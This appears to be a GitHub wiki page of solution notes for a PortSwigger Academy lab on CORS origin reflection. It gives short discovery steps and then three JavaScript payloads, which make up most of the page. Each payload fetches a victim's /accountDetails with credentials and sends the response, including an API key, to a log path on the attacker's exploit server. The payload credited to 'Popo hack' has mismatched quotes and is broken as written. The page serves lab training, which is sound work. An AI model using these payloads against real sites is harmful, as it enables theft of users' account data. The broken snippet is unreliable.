Cross origin resource sharing (CORS) - gachikuku/portswigger GitHub Wiki
Apprentice lab:
CORS vulnerability with basic origin reflection
Apprentice lab:
CORS vulnerability with basic origin reflection
-
Solution
-
login in as wiener peter and look at the responses headers
-
Access-Control-Allow-Credentials
header may indicate CORS support. UseOrigin
header and set it to a random website. -
Access-Control-Allow-Origin
is reflected in the response. -
HTML payloads:
-
Portswigger's payload
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>
-
Popo hack's payload
<script> const request = new XMLHttpRequest() request.open("get", "https://uuid.web-security-academy.net/accountDetails, true) request.onload = ()=>{ window.location.href = '/popo?key=" + request.responseText } request.withCredentials = true request.send() </script>
-
Rana Khalil's payload
<script> var xhr = new XMLHttpRequest(); var url = "https://uuid.web-security-academy.net" xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE){ fetch("/log?key=" + xhr.responseText) } } xhr.open('GET', url + "/accountDetails", true); xhr.withCredentials = true; xhr.send(null) </script>
-
-